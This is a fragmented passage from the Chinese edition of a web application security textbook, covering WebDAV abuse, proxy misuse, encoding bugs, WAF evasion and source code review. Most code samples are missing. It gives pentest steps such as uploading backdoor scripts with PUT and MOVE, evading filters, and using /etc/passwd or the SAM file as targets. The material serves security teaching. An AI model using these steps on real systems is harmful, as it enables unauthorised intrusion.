除上述可直接获得目录列表的情况外，攻击者还可以利用大量已经在Web服务器中发现的漏洞获取目录列表。本章后面将讨论其中一些漏洞。 18.1.4 WebDAV方法 WebDAV指用于Web分布式创作与版本控制的HTTP方法集合。自1996年以来，这些方法得到了广泛应用。最近的云存储和协作应用程序也采用了WebDAV方法，因为这些应用程序需要使用现有的防火墙友好的协议（如HTTP）跨系统访问用户数据。如第3章所述，HTTP请求能够使用除标准GET和POST以外的各种方法。WebDAV添加了大量其他可用于操纵Web服务器上的文件的 方法。鉴于其提供的功能的特点，如果这些方法可以由低权限用户访问，这些用户就可以利用它们对应用程序实施有效攻击。以下是一些值得注意的方法： PUT，向指定位置上传附加文件； DELETE，删除指定的资源； COPY，将指定的资源复制到Destination消息头指定的位置； MOVE，将指定的资源移动到Destination消息头指定的位置； SEARCH，在目录路径中搜索资源； PROPFIND，获取与指定资源有关的信息，如作者、大小与内容类型。 可以使用OPTIONS方法列出某个特定目录允许的HTTP方法。例如： 这个响应指出，上面列出的几个强大的方法可以在目录中使用。然而，实际上，使用这些方法需要通过身份验证，或取决于其他限制。 其中，PUT方法特别危险。如果能够上传Web根目录中的任意文件，就可以在服务器上创建将由服务器端模块执行的后门脚本，从而完全控制应用程序，甚至是Web服务器本身。如果PUT方法存在且被激活，就可以通过以下方式证实这一点： 注意，应用程序可能会针对每个目录实施不同的权限，因此，在测试过程中需要进行递归检查。这时，可以使用DAVTest（将在下一节介绍）之类的工具在服务器的所有目录中检查PUT方 法，并确定这些目录允许使用哪些文件扩展名。为克服使用PUT上传后门脚本的限制，该工具还会在MOVE方法后使用PUT方法，例如： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/public/ 提示 允许终端用户上传文件的WebDAV实例通常禁止上传特定于服务器环境的服务器端脚本语言扩展。更常见的情况是，用户可以上传HTML或JAR文件，攻击者可以利用这两种文件实施针对其他用户的攻击（请参阅第12章和第13章了解相关信息）。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 要测试服务器如何处理不同的HTTP方法，需要使用某种工具，如Burp Repeater，渗透测试员可以使用该工具发送任意请求，并完全控制消息头和消息主体。 （1）使用OPTIONS方法列出服务器使用的HTTP方法。注意，不同目录中激活的方法可能各不相同。 （2）许多时候，一些方法被告知有效，但实际上它们并不能使用。有时，即使OPTIONS请求返回的响应中没有列出某个方法，但该方法仍然可用。因此，应手动测试每一个方法，确认其是否可用。 （3）如果发现一些WebDAV方法被激活，应使用激活WebDAV的客户端进行深入调查，如Microsoft FrontPage或Internet Explorer中的“以Web文件夹方式打开”（Open as Web Folder）选项。 （a）尝试使用PUT方法上传一个良性文件，如文本文件。 （b）如果上传成功，尝试使用PUT上传一个后门脚本。 （c）如果运行脚本所需的扩展名受到阻止，尝试以.txt扩展名上传该文件，并使用MOVE方法将其移动到采用新扩展名的文件中。 （d）如果以上方法均无效，尝试上传一个JAR文件，或一个浏览器会将其内容显示为HTML的文件。 （e）使用davtest.pl之类的工具遍历所有目录。 18.1.5 Web服务器作为代理服务器 Web服务器有时被配置为转发或反向HTTP代理服务器（请参阅第3章了解相关内容）。如果一台服务器被配置为转发代理服务器，那么根据它的配置，可以利用该服务器执行以下各种攻击。 攻击者可以使用该服务器攻击因特网上的第三方系统，对攻击目标而言，恶意流量似乎是来自易受攻击的代理服务器。 攻击者可以使用代理服务器连接组织内部网络中的任意主机，攻击从因特网无法直接访问的目标。 攻击者可以使用代理服务器反向连接代理服务器主机上运行的其他服务，突破防火墙限制，并利用信任关系避开身份验证。 可以使用两种主要的技巧让转发代理服务器进行正向连接（onward connection）。第一种方法是，发送一个包含完整URL的HTTP请求，该URL中包括一个主机名称与一个端口号（可选）。例如： 如果配置服务器将请求转发到指定的主机，那么它将返回那台主机的内容。但是，一定记得核实返回的内容不是来自最初的服务器。大多数Web服务器接受包含完整URL的请求；许多服务器则完全忽略在URL中指定的主机，从它们自己的Web根目录中返回被请求的资源。 第二种利用代理服务器的方法是使用CONNECT方法指定到目标主机与端口号。例如： 如果服务器以这种方式做出响应，就表示它正在代理该连接。通常，第二种技巧的功能更强大，因为现在代理服务器将转发传送到指定主机以及由该主机送出的所有流量，允许穿透连接中的其他协议，攻击非HTTP服务。然而，大多数代理服务器对通过CONNECT方法可到达的端口实施严格的限制，通常只允许连接端口443。 利用这种攻击的技巧已经在10.4.1节详细介绍过了。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用GET与CONNECT请求，尝试用Web服务器作为代理服务器，连接因特网上的其他服务器，并获取其中的内容。 （2）尝试使用前面描述的两种技巧连接主机基础架构中的不同IP地址与端口。 （3）尝试使用前面描述的两种技巧，在请求中指定127.0.0.1为目标主机，连接Web服务器上的常用端口号。 18.1.6 虚拟主机配置缺陷 第17章介绍了如何使用HTTP Host消息头指定返回内容的Web站点，配置Web服务器为几个Web站点的主机。在Apache中，虚拟主机通过以下方式配置： 除DocumentRoot指令外，还可以使用虚拟主机容器为Web站点指定其他配置选项。这时，我们常犯的一个错误是忽略默认主机，导致任何安全配置仅适用于一台虚拟主机，而在访问默认主机时却可轻易避开。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用以下方式向根目录提交GET请求： 正确的Host消息头； 随意Host消息头； Host消息头中的服务器IP地址； 无Host消息头。 （2）对这些请求的响应进行比较。常见的结果是，在Host消息头中使用一个IP地址可获得目录列表。还可以获得各种默认内容。 （3）如果观察到不同的行为，使用生成不同结果的Host消息头重复应用程序解析过程。一定要使用-vhost选项进行一次Nikto扫描，确定在最初的应用程序解析过程中忽略的任何默认内容。 18.1.7 保障Web服务器配置的安全 从本质上讲，保障Web服务器配置的安全并不困难；通常，疏忽大意与缺乏安全意识是造成问题的主要原因。最重要的是必须充分了解所使用的软件的文档资料及有关的强化指南。 就需要解决的常见配置问题而言，确保包括以下所有领域。 如有可能，修改所有默认证书，包括用户名和密码。删除任何不必要的账户。 在Web根目录的相关路径上应用访问控制列表（Access Control List，ACL），或者对非标准端口设置防火墙，阻止公众访问管理接口。 删除所有实现商业目的并不完全需要的默认内容与功能。浏览Web目录中的内容，确定任何遗留的项目，使用Nikto工具进行重复检查。 如果需要保留任何默认功能，尽量对其进行强化，禁用不必要的选项与行为。 在所有Web目录中查找目录列表。如有可能，在一个控制整个服务器的配置中禁用目录列表。还可以确保每个目录包含服务器默认提供的index.html文件。 除应用程序常用的方法外（通常为GET与POST方法），禁用其他所有方法。 确保没有将Web服务器配置为代理服务器。如果确实需要这项功能，应尽量强化其配置，只允许它连接可合法访问的特定主机与端口。还可以执行网络层过滤，以此作为另一层防御，控制Web服务器向外发出的请求。 如果Web服务器支持虚拟主机，确保在默认主机上实施服务器采用的所有安全强化措施。执行前面描述的测试，证明确实实施了安全强化。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 18.2 易受攻击的服务器软件 Web服务器软件的形式各异，包括仅用于显示静态页面的极其简单的轻量级软件，以及能够处理各种任务、提供除业务逻辑本身以外的所有功能的高度复杂的应用程序平台。"},
    {"text": "18.2.1 应用程序框架缺陷 多年以来，Web应用程序框架一直存在各种严重的缺陷。 我们将介绍最近在某个框架中发现的一个常见缺陷，这个缺陷导致在该框架上运行的许多应用程序都易于受到攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/private/ 18.2.2 内存管理漏洞 由于攻击者可以利用缓冲区溢出控制易受攻击的进程，因此，这种漏洞是影响各种软件的最严重的漏洞（请参阅第16章了解相关内容）。"},
    {"text": "下面的Microsoft TechNet公告牌详细说明了这些漏洞： www.microsoft.com/technet/security/bulletin/MS01-023.mspx； www.microsoft.com/technet/security/bulletin/MS01-033.mspx。"},
    {"text": "如果Web应用程序中存在几种类型的漏洞，攻击者就可以利用这些编码方案避开输入确认检查，实施其他攻击。 许多Web服务器软件中都存在编码漏洞，如果用户提交的相同数据被使用各种技术的几个保护层处理，编码漏洞就会造成严重的威胁。"},
    {"text": "如果不同的组件以不同的方式执行一种编码方案，或者对部分编码的数据进行其他解码或注释，那么攻击者就可以利用这种行为避开过滤或造成其他反常行为。"},
    {"text": "Richards发现，通过使用Unicode字符从该公共文件夹遍历来访问私有文件，即可从用户的iDisk的私有部分获取任意内容，如下所示： 此外，还可以首先提出WebDAV PROPFIND请求来列出iDisk的内容： 2．Ruby WEBrick Web服务器 WEBrick是一个作为Ruby的一部分提供的Web服务器。"},
    {"text": "4．Allaire JRun目录列表漏洞 2001年，人们在Allaire JRun中发现一个漏洞，即使目录中包含index.html之类的默认文件，攻击者仍然可以利用这个漏洞获取目录列表。"},
    {"text": "这使攻击者能够侵入Web根目录以外的目录，并使用下面的URL执行任意命令： 在第二个漏洞中，攻击者可以提交点－点－斜线序列的双重编码形式，如..%255c。"},
    {"text": "同样，这个表达式也与IIS的过滤器不相匹配，但随后的处理过程对输入进行“过剩解码”（superfluous decode），因而将其转换成一个字面量遍历序列。"},
    {"text": "这样，攻击者就可以使用下面的URL实施另一次攻击： 欲知这些漏洞的详情，请访问： www.microsoft.com/technet/security/bulletin/MS00-078.mspx www.microsoft.com/technet/security/bulletin/MS01-026.mspx 九年以后 2009年，人们又在WebDAV中发现类似的IIS漏洞，这说明Web服务器软件中的编码与规范化漏洞始终是一个安全隐患。"},
    {"text": "由于以下请求看起来并不是一个针对受保护文件的请求，ISS会授权其访问相关资源的权限，但恶意字符串随后会从请求中删除： Translate: f消息头用于确保该请求会由WebDAV扩展处理。"},
    {"text": "在第一个漏洞中，在包名称前插入空白符（如换行符、空格或制表符）即可避开过滤。 例如： 这个URL可避开过滤，由于后端数据库忽略空白符，因此危险的包得以执行。 在第二个漏洞中，用代表字符ÿ的%FF替代字母Y，即可避开过滤： 这个URL可避开过滤，后端数据库对字符进行规范化处理，将其恢复到标准的字母Y，从而调用危险的包。 在第三个漏洞中，用双引号包含一个被阻止的表达式即可避开过滤： 这个URL可避开过滤，后端数据库接受被引用的包名称，意味着它可调用危险的包。 在第四个漏洞中，使用尖括号在被阻止的表达式前放置一个编程的goto标签，即可避开过滤： 这个URL可避开过滤，后端数据库忽略goto标签，使得危险的包得以执行。"},
    {"text": "由于前端过滤由一个组件根据简单的文本模式匹配执行，而随后的处理过程却由另一个组件执行，并且它们按照自己的规则解释输入的句法与语法意义，因而造成了以上各种漏洞。"},
    {"text": "这两组 规则之间的任何差异都可能会被攻击者利用，提交与过滤器所使用的模式不相匹配的输入，但数据库却按攻击者希望的方式解释这个输入，调用危险的包。"},
    {"text": "欲知这些漏洞的详情，请访问： www.securityfocus.com/archive/1/423819/100/0/threaded The Oracle Hacker's Handbook ，作者David Litchfield（Wiley，2007） 七年以后 2008年，人们在Portal Server（Oracle Application Server的一部分）中发现一个漏洞：如果攻击者具有以%0A结尾的会话ID cookie值，就可以避开“基本验证”检查。"},
    {"text": "18.2.4 查找Web服务器漏洞 如果运气不错的话，有的渗透测试员会在所针对的Web服务器中找到本章描述的一些漏洞。 然而，它们很可能已经升级到了最新的版本，渗透测试员需要查找一些当前或最新的漏洞，利用它们攻击服务器。"},
    {"text": "下面的网址或许能帮到你： www.exploit-db.com www.metasploit.com/ www.grok.org.uk/full-disclosure/ http://osvdb.org/search/advsearch 还要注意，一些Web应用程序产品中内置了开源Web服务器，如Apache或Jetty。"},
    {"text": "因为管理员把服务器看作他们所安装的应用程序，而不是他们负责的基础架构的一部分，所以这些捆绑服务器的安全更新也应用得相对较为缓慢。"},
    {"text": "分析几种不同的服务器产品的最近历史可以发现，它们在存在的严重漏洞数量、供应商修复这些漏洞是否及时以及发布的补丁在随后测试过程中表现的适应性等方面存在明显的差异。"},
    {"text": "但是，无论是上述哪一种情况，一旦供应商发布补丁，任何强大的逆向工程方法都能立即查明它所解决的问题所在，使攻击者能够着手设计利用这个问题的攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 18.3 Web 应用程序防火墙 许多应用程序都受到某种外部组件的保护，这些组件或者位于应用程序所在的同一主机上，或者位于基于网络的设备上；它们要么执行入侵防御（应用程序防火墙），要么执行入侵检测（如传统的入侵检测系统）。由于这类设备用于确定攻击的方法基本类似，因此，我们将把它们当做同一类设备看待。虽然许多人认为安装这类设备总比什么都不做要强，但是，许多时候，它们会造成一种错误的安全意识，人们觉得：既然实施了另一层防御，安全状况将会自动改善。虽然此类系统并不会降低安全防御，并且可以阻止目标明确的攻击（如因特网蠕虫），但在许多情况下，它并不像人们认为的那样能够显著改善安全状况。 值得注意的是，除非此类防御设备采用大量定制规则，否则它们并不能防御我们在第4～8章中讨论的任何漏洞，并且在防范业务逻辑中的潜在漏洞（第11章）方面也没有任何实际用途。同时，它们也无法防范某些特定的攻击，如基于DOM的XSS（第12章）。至于其他漏洞（利用这些漏洞的攻击会表现出某种攻击模式），以下问题通常会降低Web应用程序防火墙的用处。 如果防火墙过于严格地遵循HTTP规范，它可能会对应用程序服务器如何处理请求做出假设。相反，网络层防御中的防火墙或IDS设备通常并不了解某些HTTP传输方法的细节。 请求通过防火墙后，在处理请求的过程中，应用程序服务器本身可能会修改用户输入，如对其进行解码、添加转义字符，或过滤掉特定字符串。前几章中介绍的许多攻击步骤均以避开输入确认为目标，应用程序层防火墙可能易于受到类似的攻击。 许多防火墙和IDS警报基于特定的常见攻击有效载荷，而不是基于利用漏洞的常规方法。如果攻击者能够检索文件系统中的任意文件，针对/manager/viewtempl?loc=/etc/passwd的请求可能会被阻止，但针对/manager/viewtempl?loc=/var/log/syslog的请求并不会被视为攻击，即使其内容可能对攻击者更加有用。 从整体看，我们并不需要区分全局输入确认过滤器、基于主机的代理或基于网络的Web应用程序防火墙。以下步骤适用于所有设备。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 可以使用以下步骤推断是否安装了Web应用程序防火墙。 （1）在参数值中使用明确的攻击有效载荷向应用程序（最好是响应中包含名称或值的某个应用程序位置）提交任意参数名称。如果应用程序阻止该攻击，这可能是由于外部防御机制所致。 （2）如果可以提交在服务器响应中返回的变量，则提供一系列模糊测试字符串及这些字符串的编码形式可以确定应用程序的用户输入防御行为。 （3）对应用程序中的变量实施相同的攻击来确认这一行为。 在尝试避开Web应用程序防火墙时，可以提交以下字符串。 （1）对于所有模糊测试字符串和请求，使用标准签名数据库中不可能存在的良性字符串作为有效载荷。根据定义，我们不可能提供这些字符串的示例。但是，在进行文件检索时，应避免将/etc/passwd或/windows/system32/config/sam作为有效载荷。此外，应在XSS攻击中避免使用<script>，并避免将alert()或xss用作XSS有效载荷。 （2）如果特定请求被阻止，可以尝试在其他位置或上下文中提交相同的参数。例如，在GET请求的URL中、在POST请求主体中，以及在POST请求的URL中提交相同的参数。 （3）此外，应尝试在ASP.NET上将参数作为cookie提交。如果在查询字符串或消息主体中找不到参数foo，API Request.Params[“foo”]会检索名为foo的cookie的值。 （4）回顾第4章中介绍的引入用户输入的所有其他方法，选择其中任何不受保护的方法。 （5）确定以非标准格式（如序列化或编码）或可能以此类格式提交用户输入的位置。如果找不到此类位置，可以通过串联字符串和/或将字符串分布到多个参数中来构建攻击字符串。（注意，如果目标是ASP.NET，可以使用HPP通过同一变量的各种变体来串联攻击字符串。） 许多部署了Web应用程序防火墙或IDS的组织并没有根据本节介绍的方法对防御设备进行有针对性的测试，因此，在针对此类设备实施攻击时，以上方法通常能够奏效。 黑客攻防技术宝典：Web实战篇（第2版） 18.4 小结 与Web应用程序上运行的其他组件一样，Web服务器也是一个重要的受攻击面，通过它攻击者可以攻破整个应用程序。Web服务器中的漏洞可使攻击者访问目录列表、可执行页面的源代码、敏感配置和运行时间数据，并避开输入过滤，直接威胁应用程序的安全。 由于存在大量各种各样的Web服务器产品与版本，查找Web服务器漏洞往往需要我们进行一定程度的探索与研究。但是，使用自动化扫描工具可以迅速高效地确定所攻击的服务器的配置与软件中的任何已知漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 18.5 问题 欲知问题答案，请访问http://mdsec. net/wahh。 （1）在什么情况下Web服务器会显示目录列表？ （2）WebDAV方法有什么作用？为什么说它们会造成危险？ （3）如何利用一个配置成Web代理服务器的Web服务器？ （4）何为Oracle PL/SQL排除列表?如何避开这个列表？ （5）如果一个Web服务器允许通过HTTP与HTTPS访问它的功能，当查询漏洞时，使用其中一个协议与使用另一个协议相比有哪些优点？"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 第19章 查找源代码中的漏洞 迄 今为止，我们介绍的攻击技巧全都需要与一个正在运行的应用程序进行交互；而且，从很大程度上讲，这些攻击主要由向应用程序提交专门设计的输入和监控其响应这两个步骤构成。本章将分析一种截然不同的漏洞查找方法：通过审查应用程序的源代码来查找漏洞。 在以下各种情况下，审查源代码有助于渗透测试员攻击目标Web应用程序。 一些应用程序为开源应用程序，或者使用开源组件，允许从相关资料库中下载它们的源代码，并从中寻找漏洞。 如果在提供咨询服务时执行渗透测试，应用程序所有者可能会允许查看应用程序的源代码，以提高审计的效率。 可能在应用程序中发现允许下载其源代码的文件泄露漏洞。 大多数应用程序使用某种客户端代码，如JavaScript；不需要任何权限即可访问它。 人们常常认为，如果想要进行代码审查，自身必须是一名经验丰富的程序员，并深入了解编写代码所使用的语言。然而，事实并非如此。一些编程经验有限的人也能够阅读并理解许多高级语言；同时，在Web应用程序常用的各种语言中，许多类型的漏洞的表现形式也基本相同。使用某种常规方法就可以完成绝大多数的代码审查，而且还可通过使用说明帮助理解所针对的语言与环境使用的相关语法及API。本章将介绍渗透测试员所需要的核心方法，并提供可能遇到的一些语言的使用说明。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 19.1 代码审查方法 代码审查的方法很多，这些方法有助于提高在有限的时间内发现安全漏洞的效率。此外，还可以将代码审查与其他测试方法结合起来，充分利用每种方法的优势。 19.1.1 “黑盒”测试与“白盒”测试 前面各章描述的攻击方法常被称为黑盒（black-box）测试方法，因为它主要从外部攻击应用程序，并监控其输入与输出，而之前并不了解它的内部工作机制。相反，白盒（white-box）方法需要分析应用程序的内部运作，查阅所有设计文档、源代码与其他资料。 “白盒”代码审查可非常高效地发现应用程序中存在的漏洞。在审查源代码的过程中，我们常 常可以迅速确定仅使用“黑盒”技巧很难或需要很长时间才能发现的漏洞。例如，通过阅读代码可迅速确定一个可访问任何用户账户的后门密码，但使用密码猜测攻击几乎不可能发现这个密码。 然而，代码审查并不能完全替代“黑盒”测试。当然，从某种程度上讲，应用程序中的全部漏洞都“存在于源代码中”；因此，理论上，通过代码审查可以确定所有这些漏洞。但是，使用“黑盒”方法可以更迅速、高效地发现许多漏洞。举例来说，使用第14章描述的自动化模糊测试技巧，每分钟可以向一个应用程序发送数百个测试字符串，它们将迅速分散到所有相关代码路径中，并立即返回响应。另外，通过向每个字段发送常见漏洞的触发器，常常可以在几分钟内确定大量通过代码审查需要数天才能发现的漏洞。而且，许多企业级应用程序的结构极其复杂，对用户提交的输入进行多层处理。同时，应用程序在每一个层面实施不同的控制与检查，一段源代码中的明显漏洞可能会被其他地方的代码完全消除。 大多数情况下，“黑盒”与“白盒”技巧可以相互补充，彼此强化。通常，通过代码审查初步查明一个漏洞后，再在一个正在运行的应用程序中对其进行测试，是确定该漏洞是否真实存在的最简单、最有效的方法。相反，在一个正在运行的应用程序中确定某种反常行为后，审查相关源代码往往是确定其根本原因的最佳途径。因此，如有可能，应适当结合使用“黑盒”与“白盒”的技巧，并根据实时测试过程中应用程序的反常行为、源代码的大小与复杂程度，调整在每种技巧上投入的时间与精力。 19.1.2 代码审查方法 任何功能比较强大的应用程序都可能包含成千上万行源代码，许多情况下审查代码时间有限，可能仅有几天时间。因此，有效代码审查的一个关键目标是，在有限的时间与精力条件下，确定尽可能多的安全漏洞。为了实现这个目标，我们有必要采用一种结构化的方法，使用各种技巧确保迅速确定源代码中存在的“明显漏洞”，为探查更微妙、更难发现的漏洞争取更多时间。 根据我们的经验，当审查Web应用程序源代码时，使用三重查找方法可迅速高效地确定其中存在的漏洞。这种方法由以下3个步骤组成。 （1）从进入点开始追踪用户向应用程序提交的数据，审查负责处理这些数据的代码。 （2）在代码中搜索表示存在常见漏洞的签名，并审查这些签名，确定某个漏洞是否确实存在。 （3）对内在危险的代码进行逐行审查，理解应用程序的逻辑，并确定其中存在的所有问题。需要进行仔细审查的功能组件包括：应用程序中的关键安全机制（验证、会话管理、访问控制与任何应用程序范围内的输入确认）、外部组件接口，以及任何使用本地代码（通常为C/C++）的情况。 首先分析各种常见的Web应用程序漏洞在源代码中的各种表现形式，以及当进行代码审查时如何以最简单的方式确定这些表现形式。这将有助于在代码中搜索漏洞签名［第（2）步］和仔细审查危险的代码［第（3）步］。 然后依次分析一些最流行的Web开发语言，确定应用程序如何获得用户提交的数据（通过请求参数、cookie等）、它如何与用户进行会话交互、每种语言中存在潜在危险的API以及每种语言的配置与环境对应用程序安全的影响。这将有助于我们从进入点开始追踪用户向应用程序提交的数据［第（1）步］，并为其他步骤提供每种语言的参考。最后介绍一些进行代码审查的有用工具。 注解 当进行代码审查时，应该始终记住，应用程序可能扩展了类库与接口，对标准API调用执行了包装器，并对安全性至关重要的任务（如保存关于每个会话的信息）采用了定制机制。在进行仔细的代码审查之前，必须了解这些定制的范围，并相应调整审查方法。"},
    {"text": "在下面的代码中，HREF链接的目标即由从请求查询字符串中直接提取的字符串构成： 这时，对潜在恶意的内容进行HTML编码这种阻止跨站点脚本的常用方法，并不适用于生成的串联字符串，因为它已经包含有效的HTML标记；"},
    {"text": "在下面的示例中，类成员变量m_pageTitle被设定为从请求查询字符串中提取的一个值，随后将用于创建被返回的HTML页面的<title>元素： 当遇到这种代码时，渗透测试员应该仔细审查应用程序对m_pageTitle变量的处理过程，以及它是如何被合并到被返回的页面中的，以确定数据是否为防止XSS攻击而进行了适当的编码。"},
    {"text": "19.2.2 SQL注入 如果各种硬编码的字符串与用户可控制的数据串联成一个SQL查询，然后在数据库内执行这个查询，那么最可能出现SQL注入漏洞。"},
    {"text": "在下面的代码中，查询由直接从请求查询字符串中提取的数据构成： 在源代码中搜索常用于从用户提交的输入构建查询的硬编码子字符串，是在代码中迅速确定这种明显漏洞的简单方法。"},
    {"text": "19.2.3 路径遍历 用户可控制的输入未经任何输入确认，或者核实已经选择一个适当的文件，就被传送给一个文件系统API，这是路径遍历漏洞的常见签名。"},
    {"text": "在最常见的情况下，用户数据附加在一个硬编码或系统指定的目录路径之后，让攻击者能够使用点-点-斜线建立目录树，访问其他目录中的文件。"},
    {"text": "例如： 应对任何允许用户上传或下载文件的应用程序功能进行仔细审查，了解它是如何根据用户提交的数据调用文件系统API的，并确定是否可以使用专门设计的输入访问其他位置的文件。"},
    {"text": "通常，通过在代码中搜索任何与文件名有关的查询字符串参数（在本例中为AttachName），以及在相关语言中搜寻所有文件API并检查提交它们的参数，就可以迅速确定相关的功能。"},
    {"text": "在下面这个示例中，查询字符串中用户提交的数据被用于构建一个URL，用户即被重定向到这个URL： 通常，检查客户端代码即可发现任意重定向漏洞；"},
    {"text": "在下面的示例中，使用JavaScript从URL查询字符串中提取一个参数，并最终重定向到这个URL： 可见，这段脚本的作者已意识到，该脚本可能会成为指向外部域的一个绝对URL的重定向攻击的目标。"},
    {"text": "在这个示例中，攻击者可以使用以下查询字符串造成一个指向任意绝对URL的重定向： 19.2.5 OS命令注入 连接到外部系统的代码中常常包含指示代码注入漏洞的签名。"},
    {"text": "在下面的示例中，message与address参数从用户可控制的表单数据中提取出来，然后直接传送给UNIX system API： 19.2.6 后门密码 除非被恶意程序员有意隐藏，否则，当审查证书确认逻辑时，用于测试或管理目的的后门密码非常容易确定。"},
    {"text": "确定代码中明显的缓 冲区溢出漏洞的一种简单方法是，搜索所有这些API的用法，并检实来源缓冲区是否可由用户控制，以及代码是否已经明确确定目标缓冲区足够大，能够容纳被复制到它里面的数据（因为API不会这样做）。"},
    {"text": "在下面的示例中，用户可控制的字符串pszName被复制到一个固定大小的栈缓冲区中，但之前并没有检查该缓冲区是否足以容纳这些字符串： 请注意，以一个安全的API替代未经检查的API，这种方法并不能保证缓冲区溢出不会发生。"},
    {"text": "有时，由于错误或误解，一个经过检查的API以危险的方式被使用，以前面漏洞的“修复代码”为例： 因此，要在代码中彻底搜索缓冲区溢出漏洞，必须对整个代码进行仔细地逐行审查，追踪对用户可控制的数据执行的每一项操作。"},
    {"text": "如果用户能够使len为负值，这个比较就会成功进行，而且未经检查的strcpy仍会运行： 3．格式化字符串漏洞 通常，通过检查printf与FormatMessage系列函数的用法，如果发现格式化字符串参数并未硬编码，而是由用户控制，就可以立即确定这类漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 19.3 Java 平台 本节主要介绍在Java平台上获取用户提交的输入的方法、与用户会话交互的方式、存在的潜在危险的API以及与安全相关的配置选项。"},
    {"text": "19.3.1 确定用户提交的数据 Java应用程序通过javax.servlet.http.HttpServletRequest接口获取用户提交的输入，该接口对javax.servlet.ServletRequest接口进行了扩展。"},
    {"text": "表19-1 Java平台中用于获取用户提交的数据的API API 描 述 getParameter getParameterNames getParameterValues getParameterMap 以String名称与String值之间映射的形式保存URL查询字符串与 POST请求主体中的参数，使用这些API可以访问该映射 getQueryString 返回请求中的整个查询字符串，可以它代替getParameter API getHeader getHeaders getHeaderNames 以String名称与String值之间映射的形式保存请求中的HTTP消息头，使用这些API可以访问该映射 getRequestURI getRequestURL 这些API返回请求中的URL，包括查询字符串 getCookies 返回Cookie对象的一个数组，其中包含请求所收到的cookie信息，包括 它们的名称与值 getRequestedSessionId 在某些情况下用来替代getCookies，返回在请求中提交的会话ID值 getInputStream getReader 这些API返回客户端送出的原始请求的不同表示形式，因此可用于访问其 他所有API获得的任何信息 getMethod 返回HTTP请求所使用的方法 getProtocol 返回HTTP请求所使用的协议 getServerName 返回HTTP Host消息头的值 getRemoteUser getUserPrincipal 如果当前用户通过验证，这些API返回用户的信息，包括登录名。"},
    {"text": "如果用 户可以在自我注册过程中选择自己的用户名，这种做法可能会在应用程 序的处理过程中引入恶意输入 19.3.2 会话交互 Java平台应用程序使用javax.servlet.http.HttpSession接口保存和检索当前会话中的信息。"},
    {"text": "表19-2 Java平台中用于与用户会话交互的API API 描 述 setAttribute putValue 用于保存当前会话中的数据 getAttribute getValue getAttributeNames getValueNames 用于查询保存在当前会话中的数据 19.3.3 潜在危险的API 这一节介绍一些常见的Java API。"},
    {"text": "无论以哪种方式使用构造函数，如果未检查其中是否包含点-点-斜线序列就将用户可控制的数据作为文件名参数提交，那么可能会造成路径遍历漏洞。"},
    {"text": "例如，下面的代码将打开Windows C:\\驱动器根目录下的一个文件： 在Java中，常用于读取与写入文件内容的类包括： java.io.FileInputStream java.io.FileOutputStream java.io.FileReader java.io.FileWriter 这些类从它们的构造函数中提取File对象，或者通过文件名字符串打开文件。"},
    {"text": "例如： 2．数据库访问 下面这些是常用于以SQL查询执行任何一个字符串的API： java.sql.Connection.createStatement java.sql.Statement.execute java.sql.Statement.executeQuery 如果用户提交的数据属于以查询执行的字符串的一部分，那么它可能易于受到SQL注入攻击。 例如： 它执行不良查询： 下面的API更加稳定可靠，能够替代前面描述的API，允许应用程序创建一个预先编译的SQL语句，并以可靠且类型安全的方式指定它的参数占位符的值： java.sql.Connection.prepareStatement java.sql.PreparedStatement.setString java.sql.PreparedStatement.setInt java.sql.PreparedStatement.setBoolean java.sql.PreparedStatement.setObject java.sql.PreparedStatement.execute java.sql.PreparedStatement.executeQuery 当然还有许多，此处不一一列出。"},
    {"text": "例如： 它生成的查询等同于： 3．动态代码执行 Java 语言本身并不包含任何动态评估Java源代码的机制，尽管一些应用（主要在数据库产品中）提供了评估方法。"},
    {"text": "4．OS命令执行 下面的API用于在Java应用程序中执行外部操作系统命令： java.lang.runtime.Runtime.getRuntime java.lang.runtime.Runtime.exec 如果提交给exec的字符串参数完全可由用户控制，那么几乎可以肯定应用程序易于受到任何命令执行攻击。"},
    {"text": "在下面的示例中，用户可控制的数据以命令行参数的形式提交给记事本进程，引起它尝试加载| calc文档： exec API本身并不解释&与|等shell元字符，因此这个攻击失败。"},
    {"text": "例如，如果应用程序以用户可控制的参数作为目标URL执行wget程序，那么攻击者就可以向wget进程传递危险的命令行参数，例如，致使它下载一个文档，并将该文档保存在文件系统中的任何位置。"},
    {"text": "5．URL重定向 下面的API用于在Java中发布HTTP重定向： javax.servlet.http.HttpServletResponse.sendRedirect javax.servlet.http.HttpServletResponse.setStatus javax.servlet.http.HttpServletResponse.addHeader 通常，使用sendRedirect方法可以引起一个重定向响应，该方法接受一个包含相对或绝对URL的字符串。"},
    {"text": "6．套接字 java.net.Socket类从它的构造函数中提取与目标主机和端口有关的各种信息，如果用户能够以某种方式控制这些信息，攻击者就可以利用应用程序与任意主机建立网络连接，无论这些主机位于因特网上、私有DMZ中还是在应用程序上运行的内部网络内。"},
    {"text": "表19-3 Java环境中与安全有关的配置设置 设 置 描 述 login-config login-config 元素配置验证细节 两类验证分别为forms-based （页面由form-login-page 元素指定）与在 auth-method元素中指定的Basic Auth或Client-Cert 如果使用基于表单的验证，指定的表单必须将操作定义为j_security_check，并必 须提交j_username与j_password参数。 Java应用程序将把它当做一个登录请求处理 security-constraint 如果定义了login-config元素，就可以使用security-constraint元素限定资 源。"},
    {"text": "例如： <url-pattern>/admin/*</url-pattern> 分别在role-name与principal-name元素中定义的角色与主要用户可以访问这些 资源 session-config session-timeout元素配置会话超时（单位：分钟） error-page error-page元素定义应用程序如何处理错误。 通过error-code与exceptiontype 元素可单独处理HTTP错误代码与Java异常 init-param init-param元素配置各种初始化参数。"},
    {"text": "其中包括与安全有关的设置： listings应设置为false debug应设置为0 Servlet可以使用HttpServletRequest.isUserInRole访问Servlet代码中的相同角色信息，实施编程检查。"},
